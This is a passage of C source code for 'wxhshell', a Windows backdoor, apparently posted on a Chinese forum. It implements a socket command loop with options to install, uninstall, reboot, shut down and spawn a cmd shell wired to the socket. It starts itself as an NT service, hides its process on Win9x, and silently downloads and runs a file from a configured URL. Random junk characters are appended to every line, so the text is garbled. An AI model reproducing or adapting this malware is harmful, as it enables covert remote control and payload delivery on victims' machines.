  else { 1LAd5X  
"fUNrhCx  
    switch(cmd[0]) { xq=!1>  
  #kA?*i[T  
  // 帮助 DbX7?Jr  
  case '?': { ]yL+lv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;jN1n xF  
    break; md!!$+a%|  
  }  |=![J?  
  // 安装 A|YgA66M  
  case 'i': { (: ?bQA'Td  
    if(Install()) )=MK&72r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NJVkn~<  
    else ^:}C,lIrG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n&zEYCSI  
    break; " Up(Vj@  
    } u3E =r  
  // 卸载 <5P*uZ  
  case 'r': { 5h0Hk<N  
    if(Uninstall()) 5X>~39(r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \NEk B&^n  
    else )+=Kh$VbS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z @ef2y;  
    break; m^3j|'mG  
    } ! Vlx  
  // 显示 wxhshell 所在路径 ('$*QC.M  
  case 'p': { _ qwf3Q@  
    char svExeFile[MAX_PATH]; *N:0L,8  
    strcpy(svExeFile,"\n\r"); *+2_!=4V  
      strcat(svExeFile,ExeFile); @!O(%0 =  
        send(wsh,svExeFile,strlen(svExeFile),0); DT)] [V^w  
    break; %<[{zd1C-  
    } lSO$Q]!9  
  // 重启 cAot+N+9|]  
  case 'b': { 0a#v}w^ *  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pV_zePyOn  
    if(Boot(REBOOT)) ^;.u }W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :N"&o(^  
    else { qu dY9_  
    closesocket(wsh); [@8po-()L  
    ExitThread(0); kWy@wPqms  
    } kv,!"<  
    break; yXv@yn  
    } h z{--  
  // 关机 O8_! !Qd  
  case 'd': { ;134$7!Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :FtV~^Z  
    if(Boot(SHUTDOWN)) F]r'j ZL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @TX@78fWz=  
    else { )*{B_[  
    closesocket(wsh); Sy4|JM-5  
    ExitThread(0); #s15AyKz5  
    } 3 H5  
    break; _)!*,\*`{  
    } QjG/H0*mP  
  // 获取shell +PI}$c-|`  
  case 's': { OVU)t]  
    CmdShell(wsh); dv3u<XM~  
    closesocket(wsh); VBF:MAA  
    ExitThread(0); G$&jP:2q  
    break; \[.qN  
  } 5|N`:h'9M  
  // 退出 ^Jq('@  
  case 'x': { o$Nhx_F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e*PUs  
    CloseIt(wsh); $Cfp1#  
    break; JMo r[*  
    } (w5cp!qW9J  
  // 离开 %N&W_.F6  
  case 'q': { ID! S}D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <)T~_s  
    closesocket(wsh); _@[W[= |H  
    WSACleanup(); 6 R})KIG  
    exit(1); U`HY eJ  
    break; |9IOZ>H9  
        } CI$z+ zN  
  } /2c(6h  
  } 9&.md,U'  
C4.GtY8,d  
  // 提示信息 K%mR=u#%&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SJMbYjn0J  
} 3W_7xLA  
  } q/54=8*h0  
nXoDI1<[  
  return; 5;p|iT  
} S7nx4c2xK~  
q oi21mCn  
// shell模块句柄 X9]} UX  
int CmdShell(SOCKET sock) .r6x9t  
{ 1Q? RD%lkf  
STARTUPINFO si; PlLt^q.z[  
ZeroMemory(&si,sizeof(si)); X#JUorGp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PuGs%{$(h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f+n {9Hz  
PROCESS_INFORMATION ProcessInfo; ~wv$uL8y  
char cmdline[]="cmd"; { AYW C6Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F;}JSb"  
  return 0; -)')PV_+  
} 0zSz[;A  
NW`.7'aWT  
// 自身启动模式 ,(K-;Id4  
int StartFromService(void) 0;">ETh=  
{ at@tS>Dv  
typedef struct R#;xBBt8  
{ Y:,C_^$w;  
  DWORD ExitStatus; #Pf<2S  
  DWORD PebBaseAddress; <4vCx  
  DWORD AffinityMask; jK*d  
  DWORD BasePriority; 4OgH+<G  
  ULONG UniqueProcessId; yF.Gz`yi  
  ULONG InheritedFromUniqueProcessId; Pvi2j&W84  
}   PROCESS_BASIC_INFORMATION; *PL&CDu=)  
d4\JM 65  
PROCNTQSIP NtQueryInformationProcess; };9s8VZE  
, h'Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9wldd*r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v G\J8s  
{2P18&=  
  HANDLE             hProcess; nYZ6'Iwi'  
  PROCESS_BASIC_INFORMATION pbi; Xnjl {`  
ppvlU H5;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n9={D  
  if(NULL == hInst ) return 0; ``VE<:2+  
i.)n#@M2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !<=zFy[J.9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n(eo_.W2|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UhS:tT]7  
$o5i15Oy.  
  if (!NtQueryInformationProcess) return 0; l:UKU!  
0{bl^#$f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Er~KX3vF  
  if(!hProcess) return 0; W7 Iy_>  
ut560,h~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8uLS7\,$z  
o)@nnqa  
  CloseHandle(hProcess); -#T%*  
d!R+-Fp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZZo<0kDk  
if(hProcess==NULL) return 0; jF}kV%E  
g%S/)R,,ct  
HMODULE hMod; 7:uz{xPK6  
char procName[255]; a4~B  
unsigned long cbNeeded; 1Xm>nF~  
0'pB7^y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]7W!f 2@  
>(igVaZ>  
  CloseHandle(hProcess); q 9xA.*  
U~7udUR  
if(strstr(procName,"services")) return 1; // 以服务启动 L@AFt)U  
J.4U;A5  
  return 0; // 注册表启动 ]9/A=p?J@  
} 8YlZ({f  
j0{`7n  
// 主模块 9]IZ3 fQX  
int StartWxhshell(LPSTR lpCmdLine) z!bT^_Cc0  
{ hwXsfh |  
  SOCKET wsl; dB4ifeT]  
BOOL val=TRUE; -A w]b} #v  
  int port=0; 7JQ4*RM  
  struct sockaddr_in door; B?8*-0a'[  
8Z\q)T  
  if(wscfg.ws_autoins) Install(); c8uw_6#r(D  
1[Yl8W%pj  
port=atoi(lpCmdLine); L k nK  
#9]2Uixq[  
if(port<=0) port=wscfg.ws_port; t}h(j|  
*a CVkFp  
  WSADATA data; W9w(a:~hY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u]Vt>Ywu  
~210O5^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L$OZ]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^\O*e)#*  
  door.sin_family = AF_INET; kGAgXtE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (b#M4ho*f  
  door.sin_port = htons(port); }'x)e  
yVK ; "  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c{y'&3\  
closesocket(wsl); |f$+|9Q?  
return 1; a}NB6E)-  
} !vu-`u~86  
Kj @<$ChZw  
  if(listen(wsl,2) == INVALID_SOCKET) { Oz-/0;1n  
closesocket(wsl); g*oX`K.  
return 1; iEtR<R>=  
} :3Q:pKg  
  Wxhshell(wsl); ` wEX;  
  WSACleanup(); o;Z"I&  
1K@ieVc  
return 0; \os"w "  
3<$Ek3X  
} o}KVT%}  
U~ a\v8l~  
// 以NT服务方式启动 @Drl5C}+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SQK82 /  
{ 8ly)G  
DWORD   status = 0; K(u pz n*a  
  DWORD   specificError = 0xfffffff; us|Hb  
1DcBF@3sWG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q}B]b-c+E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \a;xJzc9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -avxH?;?7  
  serviceStatus.dwWin32ExitCode     = 0; ]m 3cm  
  serviceStatus.dwServiceSpecificExitCode = 0; hIqUidJod  
  serviceStatus.dwCheckPoint       = 0; 6?M/7 1  
  serviceStatus.dwWaitHint       = 0; '1 2*'Q+{+  
RDDA^U7y#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ya~;Of5  
  if (hServiceStatusHandle==0) return; nsi? .c&0!  
L1!~T+%uQ  
status = GetLastError(); |A*4Fuc&  
  if (status!=NO_ERROR) U'" #jT  
{ 5<PNl~0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sq,>^|v4&e  
    serviceStatus.dwCheckPoint       = 0; #b428-  
    serviceStatus.dwWaitHint       = 0; 1ds4C:M+<  
    serviceStatus.dwWin32ExitCode     = status; 4pT^ *  
    serviceStatus.dwServiceSpecificExitCode = specificError; yD& Y`f#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y'^U4# (  
    return; DQW)^j h  
  } L{jx'[C  
wMCg`rk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BSHS)_xs  
  serviceStatus.dwCheckPoint       = 0; #p*uk  
  serviceStatus.dwWaitHint       = 0; L)U*dY   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ER9{D$  
} r?[[.zm"7  
e'$[PF  
// 处理NT服务事件,比如:启动、停止 qQ)1+^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -|}?+W  
{ %b*N.v1+  
switch(fdwControl) M-h+'G  
{ kI(3Pf ].  
case SERVICE_CONTROL_STOP: /YZMP'v  
  serviceStatus.dwWin32ExitCode = 0; ;[ Dxk$"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iQ Xlz] '  
  serviceStatus.dwCheckPoint   = 0; Yn [ F:Z  
  serviceStatus.dwWaitHint     = 0; {c3FJ5:  
  { /Q7q2Ne^*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aG;F=e  
  } H:hM(m0?q  
  return; D mi.@.  
case SERVICE_CONTROL_PAUSE: Z HZxr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; , 2#Q >  
  break; dO z|CfUhI  
case SERVICE_CONTROL_CONTINUE: E]n]_{BN]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .>TG{>sH  
  break; Ua|iAD 1  
case SERVICE_CONTROL_INTERROGATE: :X}SuM ?c  
  break; S{l)hwlE  
}; Q.Nw#r+m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :atd_6   
} Iv 3O8 GU  
QpQ2hNf  
// 标准应用程序主函数 ~xY"P)(x;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zOSUYn  
{ 1QA/ !2E  
7)<Ib j<M  
// 获取操作系统版本 r3' DXP  
OsIsNt=GetOsVer(); ?F]P=S:x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xux[  
|(W wh$  
  // 从命令行安装 *V:U\G  
  if(strpbrk(lpCmdLine,"iI")) Install(); XZ.D<T"  
iP9]b&  
  // 下载执行文件 XYP RMa?  
if(wscfg.ws_downexe) { q j21#q .  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Peph..8Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); y>t:flD*  
} &uE )Vr4R  
N`IXSE  
if(!OsIsNt) { ~),%w*L  
// 如果时win9x,隐藏进程并且设置为注册表启动 /y{fDCC  
HideProc(); ?,riwDI 2  
StartWxhshell(lpCmdLine); ;0kAm Vy  
} nkPlfH  
else jEQ_#KKYJ  
  if(StartFromService()) wxK71OH  
  // 以服务方式启动 )vOBF5  
  StartServiceCtrlDispatcher(DispatchTable); %fS1g Sf h  
else <Ez@cZ"  
  // 普通方式启动 0$`pYW]  
  StartWxhshell(lpCmdLine); ] +%`WCr9  
z6M5 '$\y  
return 0; ^,=}'H]  
}
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只看该作者 1 发表于: 2006-10-10
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